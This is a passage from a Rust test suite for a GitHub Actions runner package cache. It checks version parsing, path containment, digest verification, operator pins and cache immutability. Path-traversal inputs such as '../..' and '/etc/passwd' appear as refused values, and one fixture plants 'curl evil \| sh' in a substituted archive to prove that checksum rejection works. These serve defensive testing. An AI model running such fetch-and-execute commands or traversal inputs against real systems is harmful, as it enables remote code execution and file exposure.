2758                    catalog: self.catalog.clone(),
2759                    fetcher: self.fetcher.clone(),
2760                    backoff: Arc::new(NoBackoff),
2761                    clock: self.clock.clone(),
2762                },
2763            )
2764        }
2765    }
2766
2767    /// One `.tar.gz` package published for `linux/x64`, with the digest GitHub
2768    /// would have published for those exact bytes.
2769    fn linux_fixture() -> (Harness, Vec<u8>, String) {
2770        let payload = tar_gz_bytes(&package_entries());
2771        let digest = hex_digest(&payload);
2772        let downloads = vec![published(
2773            "linux",
2774            "x64",
2775            "2.330.0",
2776            ".tar.gz",
2777            Some(&digest),
2778        )];
2779        (Harness::new(downloads, payload.clone()), payload, digest)
2780    }
2781
2782    /// Every path under `root`, for asserting that nothing landed somewhere.
2783    fn all_paths(root: &Path) -> Vec<String> {
2784        fn walk(base: &Path, dir: &Path, out: &mut Vec<String>) {
2785            let Ok(entries) = fs::read_dir(dir) else {
2786                return;
2787            };
2788            for entry in entries.flatten() {
2789                let path = entry.path();
2790                out.push(
2791                    path.strip_prefix(base)
2792                        .unwrap_or(&path)
2793                        .to_string_lossy()
2794                        .replace('\\', "/"),
2795                );
2796                if path.is_dir() {
2797                    walk(base, &path, out);
2798                }
2799            }
2800        }
2801        let mut out = Vec::new();
2802        walk(root, root, &mut out);
2803        out.sort();
2804        out
2805    }
2806
2807    fn version(raw: &str) -> RunnerVersion {
2808        RunnerVersion::parse(raw).expect("a well-formed test version")
2809    }
2810
2811    // =====================================================================
2812    // Value types: the version is a path component, so parsing it is a
2813    // security control rather than a convenience.
2814    // =====================================================================
2815
2816    #[test]
2817    fn a_version_is_two_to_four_runs_of_digits_and_nothing_else() {
2818        for good in ["2.330.0", "2.9", "1.2.3.4", "0.0.0"] {
2819            assert!(
2820                RunnerVersion::parse(good).is_ok(),
2821                "`{good}` should parse as a version"
2822            );
2823        }
2824        // Everything here would be a usable path component, a traversal, or an
2825        // absolute path if it reached `Path::join`.
2826        for bad in [
2827            "",
2828            ".",
2829            "..",
2830            "../..",
2831            "2",
2832            "2.330.0.1.2",
2833            "a.b",
2834            "2.330.x",
2835            "2/330",
2836            "2\\330",
2837            "/2.330.0",
2838            "C:2.330.0",
2839            "2.330.0 ",
2840            " 2.330.0",
2841            "2..0",
2842            "2.330.0/../..",
2843        ] {
2844            assert!(
2845                RunnerVersion::parse(bad).is_err(),
2846                "`{bad}` must be refused: it becomes a directory name"
2847            );
2848        }
2849    }
2850
2851    #[test]
2852    fn anything_that_parses_as_a_version_is_a_single_safe_path_component() {
2853        // The property the parser exists to buy. Asserted over the *dangerous*
2854        // candidates as well as the good ones: a version that parses is a
2855        // version that becomes a directory name, so the interesting claim is
2856        // "nothing that parses can escape", not "this one good value is fine".
2857        //
2858        // Asserting it over `2.330.0` alone was decorative — it stayed green
2859        // through a mutation that made `parse` accept `..`, because `2.330.0`
2860        // is a safe component whatever the parser does.
2861        for candidate in [
2862            "2.330.0",
2863            "2.9",
2864            "1.2.3.4",
2865            "",
2866            ".",
2867            "..",
2868            "../..",
2869            "2",
2870            "a.b",
2871            "2/330",
2872            "2\\330",
2873            "/2.330.0",
2874            "C:2.330.0",
2875            "2..0",
2876            "2.330.0/../..",
2877        ] {
2878            let Ok(parsed) = RunnerVersion::parse(candidate) else {
2879                continue;
2880            };
2881            let joined = Path::new("root").join(parsed.as_str());
2882            assert_eq!(
2883                joined.components().count(),
2884                2,
2885                "`{candidate}` parsed but adds more than one path component"
2886            );
2887            assert!(
2888                !joined
2889                    .components()
2890                    .any(|c| matches!(c, Component::ParentDir | Component::RootDir)),
2891                "`{candidate}` parsed but introduces a traversal or a root"
2892            );
2893        }
2894    }
2895
2896    #[test]
2897    fn versions_order_numerically_not_lexically() {
2898        assert!(version("2.9.0") < version("2.10.0"));
2899        assert!(version("2.330.0") > version("2.329.9"));
2900    }
2901
2902    #[test]
2903    fn a_version_is_read_out_of_the_published_filename() {
2904        // GitHub's runner-downloads response carries no version field; the
2905        // filename is the only signal there is.
2906        assert_eq!(
2907            RunnerVersion::from_filename("actions-runner-win-x64-2.330.0.zip").unwrap(),
2908            version("2.330.0")
2909        );
2910        assert_eq!(
2911            RunnerVersion::from_filename("actions-runner-linux-arm64-2.330.0.tar.gz").unwrap(),
2912            version("2.330.0")
2913        );
2914        // The fixture `c3` ships, so this module and that one agree on shape.
2915        let fixture = gh::download("osx", "arm64");
2916        assert_eq!(
2917            RunnerVersion::from_filename(&fixture.filename).unwrap(),
2918            version("2.330.0")
2919        );
2920    }
2921
2922    #[test]
2923    fn an_archive_this_agent_cannot_extract_is_refused_by_name() {
2924        for bad in [
2925            "actions-runner-linux-x64-2.330.0.rar",
2926            "actions-runner-linux-x64-2.330.0",
2927            "actions-runner-linux-x64-2.330.0.tar.xz",
2928        ] {
2929            let error = RunnerVersion::from_filename(bad).unwrap_err();
2930            assert!(
2931                matches!(error, PackageError::UnsupportedArchive { .. }),
2932                "`{bad}` should be an unsupported archive, got {error:?}"
2933            );
2934            assert!(error.is_terminal());
2935        }
2936    }
2937
2938    #[test]
2939    fn a_digest_is_sixty_four_hex_characters_normalised_to_lowercase() {
2940        let upper = "A".repeat(64);
2941        assert_eq!(Sha256Hex::parse(&upper).unwrap().as_str(), "a".repeat(64));
2942        for bad in ["", "abc", &"g".repeat(64), &"a".repeat(63), &"a".repeat(65)] {
2943            assert!(
2944                Sha256Hex::parse(bad).is_err(),
2945                "`{bad}` is not a SHA-256 digest"
2946            );
2947        }
2948    }
2949
2950    #[test]
2951    fn a_malformed_published_digest_is_a_refusal_not_a_comparison_that_never_matches() {
2952        // The failure mode this parse exists to prevent: an `sha256:`-prefixed
2953        // or truncated value compared as a string can never equal a real
2954        // digest, so verification would refuse every package forever while
2955        // looking like it worked.
2956        let error = Sha256Hex::parse("sha256:9f86d081884c7d65").unwrap_err();
2957        assert!(matches!(error, PackageError::MalformedDigest { .. }));
2958        assert!(error.is_terminal());
2959        assert!(error.operator_action().is_some());
2960    }
2961
2962    // =====================================================================
2963    // Path containment. Lexical, because it must answer for paths that do
2964    // not exist yet.
2965    // =====================================================================
2966
2967    #[test]
2968    fn containment_answers_for_paths_that_do_not_exist() {
2969        let root = Path::new("/cache/packages");
2970        assert!(is_inside(root, Path::new("/cache/packages")));
2971        assert!(is_inside(root, Path::new("/cache/packages/2.330.0/bin/x")));
2972        assert!(!is_inside(root, Path::new("/cache")));
2973        assert!(!is_inside(root, Path::new("/cache/packages-other/x")));
2974        assert!(!is_inside(root, Path::new("/elsewhere/2.330.0")));
2975        // A `..` anywhere makes the lexical answer untrustworthy, so it is
2976        // never reported as contained.
2977        assert!(!is_inside(root, Path::new("/cache/packages/../escape")));
2978    }
2979
2980    #[test]
2981    fn an_archive_entry_may_not_resolve_outside_the_directory_it_is_extracted_into() {
2982        let root = Path::new("/cache/staging/root");
2983        assert!(resolve_inside(root, Path::new("bin/x"), "bin/x").is_ok());
2984        assert!(resolve_inside(root, Path::new("./bin/x"), "./bin/x").is_ok());
2985        for escape in ["../escape", "../../escape", "a/../../escape", "/etc/passwd"] {
2986            let error = resolve_inside(root, Path::new(escape), escape).unwrap_err();
2987            assert!(
2988                matches!(error, PackageError::UnsafeArchiveEntry { .. }),
2989                "`{escape}` must be refused, got {error:?}"
2990            );
2991        }
2992    }
2993
2994    // =====================================================================
2995    // DoD 1 — the selected package matches the host, and an unsupported pair
2996    // is refused before any download.
2997    // =====================================================================
2998
2999    #[tokio::test]
3000    async fn the_entry_matching_this_host_is_the_one_downloaded() {
3001        let payload = tar_gz_bytes(&package_entries());
3002        let digest = hex_digest(&payload);
3003        // Three published packages; only one is this host's. The decoys carry
3004        // the same digest so that picking the wrong one would still verify —
3005        // the test must fail on *selection*, not on the checksum.
3006        let harness = Harness::new(
3007            vec![
3008                published("win", "x64", "2.330.0", ".zip", Some(&digest)),
3009                published("linux", "x64", "2.330.0", ".tar.gz", Some(&digest)),
3010                published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
3011            ],
3012            payload,
3013        );
3014        let cache = harness.cache_for(Os::Linux, Arch::X64);
3015
3016        let installed = cache.ensure_installed().await.expect("an install");
3017
3018        assert_eq!(installed.version(), &version("2.330.0"));
3019        let calls = harness.fetcher.calls();
3020        assert_eq!(calls.len(), 1);
3021        assert!(
3022            calls[0]
3023                .0
3024                .contains("actions-runner-linux-x64-2.330.0.tar.gz"),
3025            "the linux/x64 package should have been fetched, not `{}`",
3026            calls[0].0
3027        );
3028    }
3029
3030    #[tokio::test]
3031    async fn each_documented_host_selects_its_own_published_package() {
3032        // The selection path is exercised for every documented pair on every CI
3033        // leg, because the format is derived from the filename rather than from
3034        // the host this test happens to run on.
3035        for (os, arch, token_os, token_arch, extension) in [
3036            (Os::Windows, Arch::X64, "win", "x64", ".zip"),
3037            (Os::MacOs, Arch::Arm64, "osx", "arm64", ".tar.gz"),
3038            (Os::Linux, Arch::Arm32, "linux", "arm", ".tar.gz"),
3039        ] {
3040            let payload = if extension == ".zip" {
3041                zip_bytes(&package_entries())
3042            } else {
3043                tar_gz_bytes(&package_entries())
3044            };
3045            let digest = hex_digest(&payload);
3046            let harness = Harness::new(
3047                vec![
3048                    published("win", "x64", "2.330.0", ".zip", Some(&digest)),
3049                    published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
3050                    published("linux", "arm", "2.330.0", ".tar.gz", Some(&digest)),
3051                ],
3052                payload,
3053            );
3054            let cache = harness.cache_for(os, arch);
3055
3056            let installed = cache
3057                .ensure_installed()
3058                .await
3059                .unwrap_or_else(|error| panic!("{os}/{arch} should install: {error}"));
3060
3061            let url = &harness.fetcher.calls()[0].0;
3062            assert!(
3063                url.contains(&format!("actions-runner-{token_os}-{token_arch}-")),
3064                "{os}/{arch} fetched `{url}`"
3065            );
3066            assert!(installed.root().join("run.sh").is_file());
3067        }
3068    }
3069
3070    #[tokio::test]
3071    async fn an_undocumented_host_is_refused_before_anything_is_requested() {
3072        let (harness, _, _) = linux_fixture();
3073        // `Arm32` is documented on Linux only; Windows on ARM32 is not a pair
3074        // this product supports.
3075        let cache = harness.cache_for(Os::Windows, Arch::Arm32);
3076
3077        let error = cache.ensure_installed().await.unwrap_err();
3078
3079        assert!(matches!(error, PackageError::UnsupportedHost(_)));
3080        assert!(error.is_terminal());
3081        assert!(error.operator_action().is_some());
3082        assert_eq!(
3083            harness.catalog.calls(),
3084            0,
3085            "an unsupported pair must be refused before the catalog is consulted"
3086        );
3087        assert_eq!(
3088            harness.fetcher.count(),
3089            0,
3090            "an unsupported pair must be refused before any download"
3091        );
3092    }
3093
3094    #[tokio::test]
3095    async fn a_host_github_publishes_nothing_for_is_refused_rather_than_guessed() {
3096        let payload = tar_gz_bytes(&package_entries());
3097        let digest = hex_digest(&payload);
3098        // GitHub publishes only Windows; this host is Linux.
3099        let harness = Harness::new(
3100            vec![published("win", "x64", "2.330.0", ".zip", Some(&digest))],
3101            payload,
3102        );
3103        let cache = harness.cache_for(Os::Linux, Arch::X64);
3104
3105        let error = cache.ensure_installed().await.unwrap_err();
3106
3107        assert!(matches!(error, PackageError::NoPackagePublished { .. }));
3108        assert!(error.is_terminal());
3109        assert_eq!(
3110            harness.fetcher.count(),
3111            0,
3112            "no package published must never fall back to a hardcoded URL"
3113        );
3114    }
3115
3116    // =====================================================================
3117    // DoD 2 — bytes that do not match are rejected and NOT extracted, and
3118    // the partial download is removed.
3119    // =====================================================================
3120
3121    #[tokio::test]
3122    async fn bytes_that_do_not_match_the_published_digest_are_never_extracted() {
3123        let (harness, published_bytes, published_digest) = linux_fixture();
3124        // A well-formed archive with different bytes: the substitution
3125        // `07-security.md` names as the threat, and the one thing only the
3126        // SHA-256 can refuse. A truncated archive would fail at the extractor
3127        // instead, and a test built on one would pass with no digest check at
3128        // all — `a3`'s installer suite learned that the hard way.
3129        let substituted = tar_gz_bytes(&[("run.sh", "#!/bin/sh\ncurl evil | sh\n")]);
3130        assert_ne!(
3131            hex_digest(&substituted),
3132            published_digest,
3133            "the substituted archive must differ from the published one"
3134        );
3135        assert_ne!(substituted, published_bytes);
3136        // It is a *valid* archive: extraction alone would accept it happily,
3137        // which is exactly why only the digest can refuse it.
3138        assert!(
3139            tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
3140                substituted.clone()
3141            )))
3142            .entries()
3143            .map(|entries| entries.count() == 1)
3144            .unwrap_or(false),
3145            "the substituted archive must be well formed, or this test proves \
3146             nothing about the checksum"
3147        );
3148        harness.fetcher.serve(substituted);
3149        let cache = harness.cache().with_retry_budget(1);
3150
3151        let error = cache.ensure_installed().await.unwrap_err();
3152
3153        let inner = match &error {
3154            PackageError::Exhausted { source, .. } => source.as_ref(),
3155            other => other,
3156        };
3157        assert!(
3158            matches!(inner, PackageError::ChecksumMismatch { .. }),
3159            "expected a checksum mismatch, got {error:?}"
3160        );
3161        assert_eq!(
3162            inner.failure_reason(),
3163            Some(FailureReason::RunnerPackageUnverified)
3164        );
3165
3166        // Not extracted: no entry, and no version directory at all.
3167        assert!(cache.installed().unwrap().is_empty());
3168        assert!(
3169            !cache.root().join("2.330.0").exists(),
3170            "a rejected package must leave no version directory behind; found {:?}",
3171            all_paths(cache.root())
3172        );
3173        // Nothing anywhere under the cache root resembles an extracted runner.
3174        let leftovers = all_paths(cache.root());
3175        assert!(
3176            !leftovers.iter().any(|path| path.ends_with("run.sh")),
3177            "nothing from the archive may have been unpacked; found {leftovers:?}"
3178        );
3179    }
3180
3181    #[tokio::test]
3182    async fn the_unverified_download_is_removed_from_disk() {
3183        let (harness, _, _) = linux_fixture();
3184        harness
3185            .fetcher
3186            .serve(tar_gz_bytes(&[("run.sh", "substituted\n")]));
3187        let cache = harness.cache().with_retry_budget(1);
3188
3189        let error = cache.ensure_installed().await.unwrap_err();
3190        assert!(error.failure_reason().is_some());
3191
3192        // The fetcher asserts internally that it created the file, and records
3193        // the path only after that assertion. Without this, "the file is gone"
3194        // would be true of a file that never existed.
3195        let wrote = harness.fetcher.wrote();
3196        assert_eq!(wrote.len(), 1, "the fetcher must have written exactly once");
3197        assert!(
3198            !wrote[0].exists(),
3199            "the unverified download at {:?} must have been removed",
3200            wrote[0]
3201        );
3202
3203        // And no other copy of it survives anywhere in the cache.
3204        let leftovers = all_paths(cache.root());
3205        assert!(
3206            !leftovers.iter().any(|path| path.ends_with(".archive")),
3207            "no downloaded archive may survive a mismatch; found {leftovers:?}"
3208        );
3209    }
3210
3211    #[tokio::test]
3212    async fn a_checksum_mismatch_is_retryable_and_clean_bytes_still_install() {
3213        // `03-control-flows.md`: a download checksum failure is retried with
3214        // bounded backoff. The usual cause is a truncated transfer, and the
3215        // next attempt gets clean bytes.
3216        let (harness, good, _) = linux_fixture();
3217        harness
3218            .fetcher
3219            .serve(tar_gz_bytes(&[("run.sh", "truncated\n")]));
3220        let cache = harness.cache().with_retry_budget(3);
3221
3222        // First: three attempts, all bad, budget exhausted.
3223        let error = cache.ensure_installed().await.unwrap_err();
3224        assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
3225        assert_eq!(
3226            harness.fetcher.count(),
3227            3,
3228            "a mismatch is retryable, so the budget should have been spent"
3229        );
3230
3231        // Then: the same cache, with the bytes GitHub actually published.
3232        harness.fetcher.serve(good);
3233        let installed = cache.ensure_installed().await.expect("clean bytes install");
3234        assert_eq!(installed.version(), &version("2.330.0"));
3235    }
3236
3237    // =====================================================================
3238    // DoD 3 — an absent checksum fails closed and names the remedy; an
3239    // operator-pinned digest then succeeds.
3240    // =====================================================================
3241
3242    #[tokio::test]
3243    async fn an_absent_published_checksum_refuses_to_install_and_names_the_remedy() {
3244        let payload = tar_gz_bytes(&package_entries());
3245        // `c3` ships this fixture precisely so this branch is reachable.
3246        let without = gh::download_without_checksum("linux", "x64");
3247        assert!(without.sha256_checksum().is_none());
3248        let harness = Harness::new(vec![without], payload);
3249        let cache = harness.cache();
3250
3251        let error = cache.ensure_installed().await.unwrap_err();
3252
3253        assert!(
3254            matches!(
3255                error,
3256                PackageError::ChecksumAbsent {
3257                    published: PublishedChecksum::Absent,
3258                    ..
3259                }
3260            ),
3261            "expected an absent checksum, got {error:?}"
3262        );
3263        assert!(error.is_terminal(), "failing closed is never retryable");
3264        assert_eq!(
3265            error.failure_reason(),
3266            Some(FailureReason::RunnerPackageUnverified)
3267        );
3268        let action = error.operator_action().expect("a terminal error acts");
3269        assert!(
3270            action.contains("pin"),
3271            "the remedy must name pinning, got `{action}`"
3272        );
3273        assert!(
3274            error.to_string().contains("Pin the digest"),
3275            "the message must name the remedy: `{error}`"
3276        );
3277        assert_eq!(
3278            harness.fetcher.count(),
3279            0,
3280            "an unverifiable package must not be downloaded at all"
3281        );
3282    }
3283
3284    #[tokio::test]
3285    async fn an_empty_published_checksum_is_reported_as_empty_rather_than_absent() {
3286        // `c3` keeps absent and empty apart deliberately; both are unusable,
3287        // but they are different facts about GitHub's response and the operator
3288        // is owed the one that happened.
3289        let payload = tar_gz_bytes(&package_entries());
3290        let harness = Harness::new(
3291            vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(""))],
3292            payload,
3293        );
3294
3295        let error = harness.cache().ensure_installed().await.unwrap_err();
3296
3297        assert!(
3298            matches!(
3299                error,
3300                PackageError::ChecksumAbsent {
3301                    published: PublishedChecksum::Empty,
3302                    ..
3303                }
3304            ),
3305            "expected an empty checksum, got {error:?}"
3306        );
3307        assert!(error.to_string().contains("an empty sha256_checksum"));
3308    }
3309
3310    #[tokio::test]
3311    async fn an_operator_pinned_digest_installs_what_github_published_no_checksum_for() {
3312        let payload = tar_gz_bytes(&package_entries());
3313        let digest = hex_digest(&payload);
3314        let harness = Harness::new(
3315            vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3316            payload,
3317        );
3318        let cache = harness.cache().with_pins(
3319            PinnedDigests::new()
3320                .pin("2.330.0", &digest)
3321                .expect("a well-formed pin"),
3322        );
3323
3324        let installed = cache.ensure_installed().await.expect("a pinned install");
3325
3326        assert_eq!(installed.version(), &version("2.330.0"));
3327        assert_eq!(installed.digest().as_str(), digest);
3328        assert!(installed.root().join("run.sh").is_file());
3329    }
3330
3331    #[tokio::test]
3332    async fn a_pinned_digest_is_a_digest_to_check_not_a_check_to_skip() {
3333        // The failure this asserts against is the obvious misreading of
3334        // "require an operator-pinned digest": treating the presence of a pin
3335        // as permission to install whatever arrives.
3336        let payload = tar_gz_bytes(&package_entries());
3337        let harness = Harness::new(
3338            vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3339            payload,
3340        );
3341        let cache = harness.cache().with_retry_budget(1).with_pins(
3342            PinnedDigests::new()
3343                .pin("2.330.0", &"a".repeat(64))
3344                .unwrap(),
3345        );
3346
3347        let error = cache.ensure_installed().await.unwrap_err();
3348
3349        let inner = match &error {
3350            PackageError::Exhausted { source, .. } => source.as_ref(),
3351            other => other,
3352        };
3353        assert!(
3354            matches!(inner, PackageError::ChecksumMismatch { .. }),
3355            "a wrong pin must still refuse, got {error:?}"
3356        );
3357        assert!(cache.installed().unwrap().is_empty());
3358    }
3359
3360    #[tokio::test]
3361    async fn a_pin_for_a_different_version_does_not_unlock_this_one() {
3362        let payload = tar_gz_bytes(&package_entries());
3363        let digest = hex_digest(&payload);
3364        let harness = Harness::new(
3365            vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3366            payload,
3367        );
3368        // The operator confirmed 2.320.0, not 2.330.0.
3369        let cache = harness
3370            .cache()
3371            .with_pins(PinnedDigests::new().pin("2.320.0", &digest).unwrap());
3372
3373        let error = cache.ensure_installed().await.unwrap_err();
3374
3375        assert!(matches!(error, PackageError::ChecksumAbsent { .. }));
3376        assert_eq!(harness.fetcher.count(), 0);
3377    }
3378
3379    #[tokio::test]
3380    async fn a_malformed_published_checksum_refuses_and_says_it_was_malformed() {
3381        // The third unusable shape, and the one that used to name a remedy the
3382        // operator could not carry out: it returned `MalformedDigest` from a
3383        // path where the pin was never consulted, while telling them to pin.
3384        let payload = tar_gz_bytes(&package_entries());
3385        for bad in ["sha256:9f86d081884c7d65", &"a".repeat(63), "not a digest"] {
3386            let harness = Harness::new(
3387                vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(bad))],
3388                payload.clone(),
3389            );
3390
3391            let error = harness.cache().ensure_installed().await.unwrap_err();
3392
3393            assert!(
3394                matches!(
3395                    error,
3396                    PackageError::ChecksumAbsent {
3397                        published: PublishedChecksum::Malformed,
3398                        ..
3399                    }
3400                ),
3401                "`{bad}` should be reported as malformed, got {error:?}"
3402            );
3403            assert!(error.is_terminal());
3404            assert_eq!(
3405                error.failure_reason(),
3406                Some(FailureReason::RunnerPackageUnverified)
3407            );
3408            assert!(
3409                error.to_string().contains("a malformed sha256_checksum"),
3410                "the operator is owed the shape that actually arrived: `{error}`"
3411            );
3412            assert_eq!(harness.fetcher.count(), 0);
3413        }
3414    }
3415
3416    #[tokio::test]
3417    async fn a_malformed_published_checksum_is_rescued_by_an_operator_pin() {
3418        // The remedy the refusal names has to be one that works. Every unusable
3419        // shape — absent, empty, malformed — routes to the pin.
3420        let payload = tar_gz_bytes(&package_entries());
3421        let digest = hex_digest(&payload);
3422        let harness = Harness::new(
3423            vec![published(
3424                "linux",
3425                "x64",
3426                "2.330.0",
3427                ".tar.gz",
3428                Some("sha256:9f86d081884c7d65"),
3429            )],
3430            payload,
3431        );
3432        let cache = harness
3433            .cache()
3434            .with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
3435
3436        let installed = cache
3437            .ensure_installed()
3438            .await
3439            .expect("a pin rescues a malformed published checksum");
3440
3441        assert_eq!(installed.digest().as_str(), digest);
3442        assert!(installed.root().join("run.sh").is_file());
3443    }
3444
3445    #[tokio::test]
3446    async fn every_unusable_published_checksum_shape_names_the_same_workable_remedy() {
3447        let payload = tar_gz_bytes(&package_entries());
3448        let digest = hex_digest(&payload);
3449        for (raw, expected) in [
3450            (None, PublishedChecksum::Absent),
3451            (Some(""), PublishedChecksum::Empty),
3452            (Some("nonsense"), PublishedChecksum::Malformed),
3453        ] {
3454            let downloads = vec![published("linux", "x64", "2.330.0", ".tar.gz", raw)];
3455
3456            // Without a pin: refused, and the message names pinning.
3457            let harness = Harness::new(downloads.clone(), payload.clone());
3458            let error = harness.cache().ensure_installed().await.unwrap_err();
3459            assert!(
3460                matches!(
3461                    &error,
3462                    PackageError::ChecksumAbsent { published, .. } if *published == expected
3463                ),
3464                "{expected:?}: got {error:?}"
3465            );
3466            assert!(error.operator_action().unwrap().contains("pin"));
3467
3468            // With a pin: installed. This is the assertion that makes the
3469            // remedy true rather than merely stated.
3470            let harness = Harness::new(downloads, payload.clone());
3471            let cache = harness
3472                .cache()
3473                .with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
3474            cache
3475                .ensure_installed()
3476                .await
3477                .unwrap_or_else(|error| panic!("{expected:?} should be pinnable: {error}"));
3478        }
3479    }
3480
3481    // =====================================================================
3482    // DoD 4 — a cache entry is never mutated after extraction, and a second
3483    // install of the same version is a no-op.
3484    // =====================================================================
3485
3486    #[tokio::test]
3487    async fn a_second_install_of_the_same_version_rewrites_nothing() {
3488        let (harness, _, _) = linux_fixture();
3489        let cache = harness.cache();
3490
3491        let first = cache.ensure_installed().await.expect("the first install");
3492        assert_eq!(harness.fetcher.count(), 1);
3493        assert_eq!(harness.catalog.calls(), 1);
3494
3495        // Past the freshness window, with the SAME version still published.
3496        //
3497        // Advancing only past `check_interval` is not enough, and measuring
3498        // that is what fixed this test: the entry then still sits inside the
3499        // freshness window, so deleting the already-installed short-circuit
3500        // changed nothing — the freshness branch returned the same cached entry
3501        // and the test stayed green through a mutation that should have killed
3502        // it. Past the window that branch no longer covers, and the entry
3503        // short-circuit is the only thing between this call and a re-download.
3504        harness
3505            .clock
3506            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3507
3508        let second = cache.ensure_installed().await.expect("the second install");
3509
3510        assert_eq!(second.version(), first.version());
3511        assert_eq!(second.root(), first.root());
3512        assert_eq!(
3513            harness.catalog.calls(),
3514            2,
3515            "the published version should have been re-checked"
3516        );
3517        // THIS is the assertion that proves the no-op, and it is the only one
3518        // here that can distinguish a no-op from a re-install.
3519        //
3520        // An earlier version of this test also planted a marker file inside the
3521        // entry and compared a `(len, mtime, digest)` snapshot before and
3522        // after, and presented all three as proof. Two of the three could not
3523        // fail. The commit point is a single `fs::rename` onto the version
3524        // directory, which cannot replace a non-empty directory on any platform
3525        // this product targets — so even with the short-circuit deleted, the
3526        // rename fails, `entry()` answers `Some`, and the existing entry is
3527        // returned untouched. The marker survives and the snapshot matches for
3528        // a reason that has nothing to do with the branch under test. Three
3529        // legs that read as triple-proof and were single-proof is worse than
3530        // one honest leg, so the other two are gone.
3531        //
3532        // The immutability property they were reaching for is real and is
3533        // pinned separately, by `the_commit_rename_never_replaces_an_existing_
3534        // entry` below, which asserts the platform behaviour this design rests
3535        // on and *can* fail if it ever stops holding.
3536        assert_eq!(
3537            harness.fetcher.count(),
3538            1,
3539            "a version already held must not be downloaded again"
3540        );
3541    }
3542
3543    #[test]
3544    fn the_commit_rename_never_replaces_an_existing_entry() {
3545        // The assumption the whole immutability claim rests on, asserted
3546        // directly instead of being inferred from an install that would not
3547        // have exercised it.
3548        //
3549        // `download_verify_and_install` commits by renaming a staging directory
3550        // onto `packages/<version>/`. If that rename could clobber a populated
3551        // directory, an entry would be mutable after it landed and every
3552        // runtime copied from it could change underfoot. It cannot — and this
3553        // is where that stops being a comment.
3554        let dir = tempfile::tempdir().expect("a temporary root");
3555        let existing = dir.path().join("2.330.0");
3556        fs::create_dir_all(existing.join("bin")).unwrap();
3557        fs::write(existing.join("run.sh"), b"the original").unwrap();
3558        let replacement = dir.path().join("staging");
3559        fs::create_dir_all(&replacement).unwrap();
3560        fs::write(replacement.join("run.sh"), b"the replacement").unwrap();
3561
3562        let result = fs::rename(&replacement, &existing);
3563
3564        assert!(
3565            result.is_err(),
3566            "renaming onto a populated entry must fail, or entries are mutable"
3567        );
3568        assert_eq!(
3569            fs::read_to_string(existing.join("run.sh")).unwrap(),
3570            "the original",
3571            "the existing entry's contents must survive"
3572        );
3573        assert!(
3574            existing.join("bin").is_dir(),
3575            "the existing entry's structure must survive"
3576        );
3577    }
3578
3579    #[tokio::test]
3580    async fn a_stale_entry_that_is_still_the_published_version_is_reused() {
3581        // Past the freshness deadline, but GitHub has published nothing newer.
3582        // There is no fresher package to fetch, so re-downloading identical
3583        // bytes would cost 150-300 MB and change nothing.
3584        //
3585        // **This exits at the `entry(&version)` short-circuit, not at the
3586        // freshness branch** — the published version and the cached one are the
3587        // same, so the entry is found before staleness is ever consulted. An
3588        // earlier comment here claimed the freshness branch, which was wrong:
3589        // that branch is the one where the published version *differs* and the
3590        // cache is still inside the window, and it is pinned by
3591        // `a_cached_version_inside_the_window_is_not_re_downloaded`.
3592        //
3593        // What this test adds over the no-op test is the *staleness* of the
3594        // entry: it asserts that being past the deadline does not by itself
3595        // force a download when there is nothing newer to download.
3596        let (harness, _, _) = linux_fixture();
3597        let cache = harness.cache();
3598        let first = cache.ensure_installed().await.expect("an install");
3599        harness
3600            .clock
3601            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3602
3603        let again = cache.ensure_installed().await.expect("the same entry");
3604
3605        assert!(
3606            cache.is_stale(&first, harness.clock.now()),
3607            "the entry really is past the deadline"
3608        );
3609        assert_eq!(again.version(), first.version());
3610        assert_eq!(harness.fetcher.count(), 1);
3611        assert_eq!(cache.installed().unwrap().len(), 1);
3612    }
3613
3614    #[tokio::test]
3615    async fn an_entry_is_complete_the_moment_it_exists() {
3616        // The manifest lands inside the staging directory and arrives with the
3617        // entry in one rename, so there is no window in which a directory
3618        // exists without it. A directory with no manifest is therefore not an
3619        // entry, and is not returned as one.
3620        let (harness, _, _) = linux_fixture();
3621        let cache = harness.cache();
3622        let installed = cache.ensure_installed().await.expect("an install");
3623        assert!(installed.root().join(MANIFEST_FILE).is_file());
3624
3625        // A directory that this module did not produce.
3626        let impostor = cache.root().join("9.9.9");
3627        fs::create_dir_all(impostor.join("bin")).unwrap();
3628        fs::write(impostor.join("run.sh"), b"not ours").unwrap();
3629
3630        assert!(cache.entry(&version("9.9.9")).unwrap().is_none());
3631        assert_eq!(
3632            cache.installed().unwrap().len(),
3633            1,
3634            "only the real entry counts as installed"
3635        );
3636    }
3637
3638    #[tokio::test]
3639    async fn a_download_that_fails_leaves_no_entry_and_no_file() {
3640        let (harness, _, _) = linux_fixture();
3641        *harness.fetcher.fail.lock().unwrap() = true;
3642        let cache = harness.cache().with_retry_budget(1);
3643
3644        assert!(cache.ensure_installed().await.is_err());
3645
3646        assert!(cache.installed().unwrap().is_empty());
3647        let leftovers = all_paths(cache.root());
3648        assert_eq!(
3649            leftovers,
3650            vec![".staging".to_string()],
3651            "a failed download leaves an empty staging directory and nothing else"
3652        );
3653    }
3654
3655    #[tokio::test]
3656    async fn a_verified_package_that_will_not_extract_still_leaves_nothing_behind() {
3657        // The interesting interruption: the bytes are exactly what GitHub
3658        // published — the digest matches — and extraction fails anyway. The
3659        // downloaded file exists at that point, so this is the path where a
3660        // missing cleanup would actually leak a 150-300 MB file.
3661        let payload = b"this verifies but is not a gzip stream".to_vec();
3662        let harness = Harness::new(
3663            vec![published(
3664                "linux",
3665                "x64",
3666                "2.330.0",
3667                ".tar.gz",
3668                Some(&hex_digest(&payload)),
3669            )],
3670            payload,
3671        );
3672        let cache = harness.cache().with_retry_budget(1);
3673
3674        let error = cache.ensure_installed().await.unwrap_err();
3675        let inner = match &error {
3676            PackageError::Exhausted { source, .. } => source.as_ref(),
3677            other => other,
3678        };
3679        assert!(
3680            matches!(inner, PackageError::Extract { .. }),
